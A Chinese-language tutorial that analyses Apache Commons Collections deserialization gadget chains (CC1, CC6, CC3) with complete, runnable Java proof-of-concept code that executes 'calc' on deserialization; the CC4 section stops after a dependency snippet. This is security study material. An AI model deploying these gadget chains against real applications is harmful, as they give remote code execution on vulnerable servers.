java反序列化CommonsCollections

前言

1
2
Commons Collections <= 3.2.1
jdk <= 8u65

CC1

危险的方法调用:Transform.transform()

Transformer接口,该接口主要就是定义了一个接口方法transform()

image-20241027195823194

ConstantTransformer类:

ConstantTransformer类中的transform()方法:

返回一个常量,该常量在构造方法调用的时候就确定了,因此,后续不管transform()方法传入什么对象,都将返回构造对象时构造方法传入的那个对象

img

InvokerTransformer

我们可以查看实现这个接口的类(idea中选中接口名+ctrl+h)

然后在其中有一个实现类为InvokerTransformer.java,其中的transform方法如下

image-20241027201741226

可以发现该方法接受任意一个对象实例,进行反射调用执行任意方法

所以让我们来测试一下,我们先看一下InvokerTransformer类的构造函数:接收参数名,参数类型,参数值

image-20241027202532589

测试代码如下,成功弹出计算器

image-20241027203029387

ChainedTransformer类:

该类的transform()方法实现了对实现Transformer接口的对象的transform()方法的链式调用,上一个transform()调用的输出作为下一个transform()调用的输入:

img

iTransformers数组是在构造函数中赋值的,是一个Transformer对象数组

img

再结合一下上面的InvokerTransformer以及ConstantTransformer,由于不管传入什么ConstantTransformer都返回新建对象时构造函数传入的那个对象,因此这里在调用chainedTransformertransform()方法时随便传了个整型对象666进去,也成功出现弹窗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) throws Exception{
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(666);
}
}

构造完整链

那么接下来我们就要找哪里会调用Transform方法,就比如类TransformedMap中的checkSetValue方法调用了transform方法

image-20241027211259265

然后我们就要看看参数valueTransformer,去查看该类的构造函数

image-20241027211504391

该构造函数接受一个Map,然后对key和value进行操作

但是一个protected方法,说明是被自己调用的,我们继续查找

image-20241027211544656

一个静态的方法调用了该构造函数,对传进来的参数进行了装饰的作用(好像没啥用)

因为我们是要调用该类中的checkSetValue方法,所以我们要查查它的用途,发现只有一个用法

image-20241027212029936

进入类中查看方法,setValue方法简单理解就是要对传入的键值对中的值进行修改,这里的方法接受的参数为Object

image-20241027212126970

因此我们就需要一个Map类,我们是要对valueTransformer参数进行操作,所以keyTransformer参数值可以设为NULL,因此链可以构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer =
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("a", "b");
// 装饰 HashMap,使其在设置值时执行 transform()
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
// 这里会触发 invokerTransformer 的 transform(),调用 Runtime.exec("calc")
entry.setValue(r);
}
}
}

到现在我们已经完成一半了,上面说明了我们只要找到一个Map.Entry遍历数组并且调用了setValue方法,那么我们就可以把transformedMap传进去,实现弹窗(当然setValue的值要可控)

因此现在我们要找不同名的调用setValue方法的函数,最好的就是找readObject里面调用该方法的

最终我们找到了,在AnnotationInvocationHandler.java中

image-20241031151828399

image-20241031152122453

观察下该类中有什么可控的,看看构造函数,可以发现memberValues是完全可控的,我们可以把transformedMap传进去

image-20241031152250086

第一个参数type是继承了Annotation(注解)的Class对象,但是无碍

需要注意的是该类不是public,而是默认的,也就是只能够在自己那个包里面获取的,所以我们需要反射调用

image-20241031152720338

初步的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer =
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("a", "b");

// 装饰 HashMap,使其在设置值时执行 transform()
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是有几个问题我们需要解决,先解决第一个问题:Runtime类不能够被序列化,因为它没有继承相关的Serializable类,所以我们需要反射调用

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

上面是普通的反射调用,我们需要将其改为InvokerTransformer形的

1
2
3
Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//获得getRuntime方法
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);//获得Runtime对象
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);//弹计算器

这样就已经将其改成可以序列化的版本了,这时候可以发现上面相当于是transform方法的循环调用,所以联想到了ChainedTransformer

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

所以现在的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("a", "b");
// 装饰 HashMap,使其在设置值时执行 transform()
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是现在代码还是执行不了,我们选断点调一下看能不能走进readObject的setValue方法里面

image-20241031170848744

调的时候发现memberType=Null,所以会直接走不到

调试代码的时候可以知道name的值是memberValues键值对中的键,memberType返回在memberTypes是否查找到key,memberTypes则是第一个变量(注解)的成员方法

也就是说第一个变量我们必须查找有成员变量的Class,同时数组的key还要改成其成员方法的名字

代码变动如下:

1
2
map.put("value", "b");
Object o = ctor.newInstance(Target.class, transformedMap);

再调试一次,成功走进去,继续调试下去,到setValue方法

image-20241031173324036

跟进进去

image-20241031173342892

继续跟进

image-20241031173357421

可以发现回到了我们最初的checkValue方法,但是其中的value值我们确实不可控的,怎么办呢

还记得前面的ConstantTransformer类,该类的transform方法无论后面传入的value是什么,都将返回构造对象时构造方法传入的那个对象

所以我们只需在transformers数组中第一个位置添上该类便可以了

因此最终的完整链代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

执行的话会成功弹计算器

CC6

LazyMap类

之前我们在找哪里有调用transform方法的时候除了TransformedMap外,还有一个LazyMap中的get方法调用了transform方法

image-20241106110407741

我们查看get方法可以发现其中的factory完全可控,只需要传入一个Transformer类的参数就可以了

image-20241106111040973

开始往回找哪里有调用get方法,这边的话比较难找,还是在sun/reflect/annotation/AnnotationInvocationHandler.java文件中,我们搜索一下该文件里面哪里有调用get方法,并且还是我们可控的、比较简单的,如下是位于invoke方法中的

invoke方法什么时候会调用呢,就是只要外面有调用方法,就都会调用到invoke方法

image-20241106112520547

所以我们需要一个动态代理annotationInvocationHandler并调用任意的方法

image-20241106115201681

AnnotationInvocationHandler序列化,然后在它里面放一个代理,然后代理里面放一个LazyMap,LazyMap里面再放一个ChainedTransformer

我们现在看下前面的代码要怎样才能执行到get方法

首先外面执行的方法不能够是圈出来的那几个方法,并且还必须是还不能够有参数,有参数会直接抛出报错

image-20241107191408977

所以我们看下readObject里面有没有这种方法,很幸运有个entrySet方法(到时候会自动调用)

image-20241107191653320

所以我们测试的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler h = (InvocationHandler) ctor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = ctor.newInstance(Override.class,mapProxy);
// serialize(o);
unserialize("ser.bin");


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

反序列化后成功弹出计算器

在上述代码中,readObject时的memberValues的值是mapProxy,然后当到invoke方法的时候memberValues的值则是lazyMap


很遗憾的是上面两种方法在更高的jdk版本中都用不了了,那有没有一条不受jdk版本限制的链呢,答案肯定是有的,那就是CC6这条链

TiedMapEntry类

我们关注TiedMapEntry类,查看该类中的hashCode方法(就是之前URLDNS那条链的)

image-20241107200925573

方法中调用了getValue方法,我们继续跟进,发现它调用了get方法

image-20241107201003070

并且参数map可控,我们到时候改成LazyMap就可以了,这样子就又和上面的后半条链对上了

其构造函数的参数一个是map,一个是键

image-20241107201839666

我们继续分析,我们要把hashMap作为入口类,看到了它的readObject()方法调用了hash方法

image-20241107202146988

继续跟进,发现hash方法里面调用了hashCode方法,hash的参数是key,所以我们要把TiedMapEntry类的对象放在hashMap的键处

image-20241107202253843

所以测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//map.put("value", "222"); //可加可不加
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
serialize(map2);
}

确实出现了计算器弹窗,但是不需要反序列化也可以,这不禁让人想到了之前URLDNS链的那一个类似的点,因为put()方法中也会调用hash()方法

image-20241107203543456

那就采取和当时类似的做法呗,既然put会调用hash那就先在这之前通过反射修改某些属性使得这条链无法走下去

这里直接选择把lazyMap的chainedTransformer改成随便一个Transform对象,put之后再通过反射将lazyMap.factory的值改为chainedTransformer

1
2
3
4
5
6
7
8
9
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

但是这样子修改完了之后无论是序列化还是反序列化的时候都无法执行弹窗,这是为什么呢

问题出在了LazyMap的get()方法上,LazyMap,字面意思很好理解也就是懒加载,当判断map中获取不到key,也就是get不到时,就去调用factory的transform方法来向map中添加一组键值对并返回调用transform()方法后的结果。一开始在调用put()方法时避免不了调用hashCode(),也就无法避免使用getValue()->get()方法,因此键名为aaa的键在put时就会插入到lazyMap.map中,当向map中插入这个键值对之后,也就是说lazyMap的map中此时已经存在了aaa这个键了,这时候进行反序列化是无法满足这个if的判断的,因此我们只需要在调用put方法过后删除掉aaa这个键即可

image-20241107205014426

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// serialize(map2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC3

newTransformer()方法

这里通过CLassLoader类中的defineClass方法进行类加载,但该方法是一个受保护的方法,不能够直接调用,所以我们可以寻找一下有没有重写该方法的地方

CLassLoader类中有多个重写的defineClass方法,我们一个个查找用法看有没有public的地方,最终找到如下:

image-20241108155142790

发现该方法是默认的,说明只有在该文件中可以调用该方法,所以我们查找一下是在defineTransletClasses方法中调用了,可惜是私有的

在defineTransletClasses()方法下找到了对其的调用,并且结果被_class数组给获取到了,跟踪到这里其实心里已经觉得很大概率就是走的这个利用链了,至少目前为止没错。接下来就是寻找_class数组内元素的实例化,既然有类加载方法,大概率这个类也是有类实例化的方法的

image-20241108155423823

那我们继续查找该方法的用途,在getTransletInstance()方法中对_class元素的实例化,下标_transletIndex可控

image-20241108155756450

但是此处的getTransletInstance()方法仍然是私有的方法,因此还得继续查找方法调用直至到public:newTransformer这个public方法

image-20241108160614863

到现在我们就找到了一条很好的利用链了

新建对象的时候会调用getTransletInstance()方法,而getTransletInstance()中如果_class还是null的话就会调用defineTransletClasses()方法进行类加载后再在getTransletInstance()中进行实例化

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

看着是很简单,但这边我们调用的是无参构造函数,还不定能够执行到defineClass方法,我们来看一看

首先就是_name参数不能够为空,而_class参数必须为空,继续跟进defineTransletClasses()方法

image-20241108162235909

我们可以知道_bytecodes参数不能为空,否则会抛异常;_tfactory参数会调用一个方法,所以它也必须被赋值

image-20241108162452220

目前较为明显的就这三个参数,我们直接通过反射对他们进行赋值

特别要注意的是_bytecodes参数,这是因为defineClass的参数就是它,与类加载有关,我们查看一下该参数,可以发现是二维数组

image-20241108170402715

那要怎么给它赋值呢,这我们就需要看下该处重写的defineClass方法的逻辑了

image-20241108170706710

可以发现它需要的是一个一维数组,所以我们就是要在_bytecodes中的成员需要时一维数组,内容是字节码

我们再看一下_tfactory参数,前面的transient代表的是不可序列化

image-20241108184850198

这说明即使我们现在给它进行赋值,到反序列化后也还是会等于null,但我们有需要这个值,那说明了readObject中肯定有东西,在readObject中已经给它赋值完了

image-20241108185257812

所以我们最初的测试代码如下,但是运行之后会报空指针错误,位于defineTransletClasses()方法

image-20241108190728415

我们调试看一下,断点设在如下所示的位置:

image-20241108191046317

调试下来发现空指针出错在_auxClasses为空

image-20241108191427036

有两种解决方法,一种是走进if从句中,另一种是给_auxClasses赋值

用第二种方法的话_transletIndex值默认等于-1,运行下去的话还是会报另一种错误

image-20241108191640930

所以第二种方案不可行,if从句的意思是_class的父类必须是ABSTRACT_TRANSLET,如下

image-20241108191845449

所以我们需要让Test类继承该抽象类,并实现抽象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

现在我们再返回去执行测试代码,成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

上述代码说明了只要我们执行了newTransformer()方法,就相当于可以执行任意代码了

那么我们只要把这个扔进ChainedTransformer中就可以了,然后我们直接把cc1的后半段直接粘过来就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1); 测试chainedTransformer可不可以运行
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);
// serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

于是乎我们又有了一条新的链

image-20241108195020506

InstantiateTransformer类

但是要是黑名单把InvokerTransform类给禁掉了的话,我们还能有什么办法可以绕过

我们查看一下newTransformer()方法有哪些地方会调用到,下面有一个我们可以利用

image-20241108200831692

TrAXFilter类不能被序列化,但是我们想序列化它的话只能从它的Class入手,就跟Runtime一样,这样子的话我们要怎么赋值呢,那就是在构造函数里面,而我们所需要的方法也出现在构造函数中

这次我们不用InvokerTransform类,改用InstantiateTransformer类,我们看一下它的transform方法

image-20241108201432106

简单来说就是看输入是不是一个类,如果是的话就会调用它的构造器来进行初始化

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class); //它的class类型可以序列化,该行代码运行可以弹出计算器

接下来用上cc1的前半条链,附上完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class); //它的class类型可以序列化,该行代码运行可以弹出计算器
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);
// serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这样子我们就又有一条新链

image-20241108203336356

CC4

依赖引入

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

下面的方法等全部都是用collections4中的,不再是3.2.1中的


CC4.0仍可利用3的

